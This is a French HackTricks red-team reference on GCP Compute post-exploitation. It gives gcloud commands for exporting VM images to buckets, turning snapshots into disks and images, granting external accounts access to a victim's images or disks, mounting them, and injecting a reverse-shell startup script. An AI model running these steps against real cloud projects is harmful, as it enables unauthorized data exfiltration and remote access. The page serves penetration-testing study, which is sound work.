GCP - Compute Post Exploitation

Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE) Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenez HackTricks

• Consultez les plans d'abonnement!

• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.

• Partagez des astuces de hacking en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.

Compute

Pour plus d'informations sur Compute et VPC (Networking), consultez :

GCP - Compute Enum

Exporter et inspecter les images localement

Cela permettrait à un attaquant d'accéder aux données contenues dans des images déjà existantes ou de créer de nouvelles images de VM en cours d'exécution et d'accéder à leurs données sans avoir accès à la VM en cours d'exécution.

Il est possible d'exporter une image de VM vers un bucket, puis de la télécharger et de la monter localement avec la commande :

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Avant d'effectuer cette action, l'attaquant pourrait avoir besoin de privilèges sur le bucket de stockage et certainement des privilèges sur cloudbuild car c'est le service qui sera sollicité pour effectuer l'exportation. De plus, pour que cela fonctionne, le codebuild SA et le compute SA doivent avoir des permissions privilégiées. Le cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com a besoin de :

• roles/iam.serviceAccountTokenCreator

• roles/compute.admin

• roles/iam.serviceAccountUser

Et le SA <project-id>[e-mail] a besoin de :

• roles/compute.storageAdmin

• roles/storage.objectAdmin

Exporter et inspecter les snapshots et disques localement

Il n'est pas possible d'exporter directement des snapshots et des disques, mais il est possible de transformer un snapshot en disque, un disque en image et, en suivant la section précédente, d'exporter cette image pour l'inspecter localement

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspecter une Image en créant une VM

Dans le but d'accéder aux données stockées dans une image ou à l'intérieur d'une VM en cours d'exécution à partir de laquelle un attaquant a créé une image, il est possible d'accorder à un compte externe l'accès à l'image :

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

et ensuite créer une nouvelle VM à partir de celle-ci :

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Si vous ne pouviez pas donner à votre compte externe l'accès à l'image, vous pourriez lancer une VM en utilisant cette image dans le projet de la victime et faire en sorte que les métadonnées exécutent un reverse shell pour accéder à l'image en ajoutant le paramètre :

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

Dans le but d'accéder aux données stockées dans un disque ou un snapshot, vous pourriez transformer le snapshot en disque, un disque en image et suivre les étapes précédentes.

Ou vous pourriez accorder l'accès à un compte externe sur le disque (si le point de départ est un snapshot, donner l'accès sur le snapshot ou créer un disque à partir de celui-ci) :

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Attacher le disque à une instance :

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Monter le disque à l'intérieur de la VM :

1. SSH dans la VM :

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]

2. Identifier le Disque : Une fois à l'intérieur de la VM, identifiez le nouveau disque en listant les périphériques de disque. Typiquement, vous pouvez le trouver comme /dev/sdb, /dev/sdc, etc.

3. Formater et Monter le Disque (si c'est un disque neuf ou brut) :

• Créer un point de montage :

sudo mkdir -p /mnt/disks/[MOUNT_DIR]

• Monter le disque :

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Si vous ne pouvez pas donner accès à un projet externe au snapshot ou au disque, vous devrez peut-être effectuer ces actions à l'intérieur d'une instance dans le même projet que le snapshot/disque.

Apprenez et pratiquez AWS Hacking :HackTricks Training AWS Red Team Expert (ARTE) Apprenez et pratiquez GCP Hacking : HackTricks Training GCP Red Team Expert (GRTE)

Soutenez HackTricks

• Consultez les plans d'abonnement !

• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.

• Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.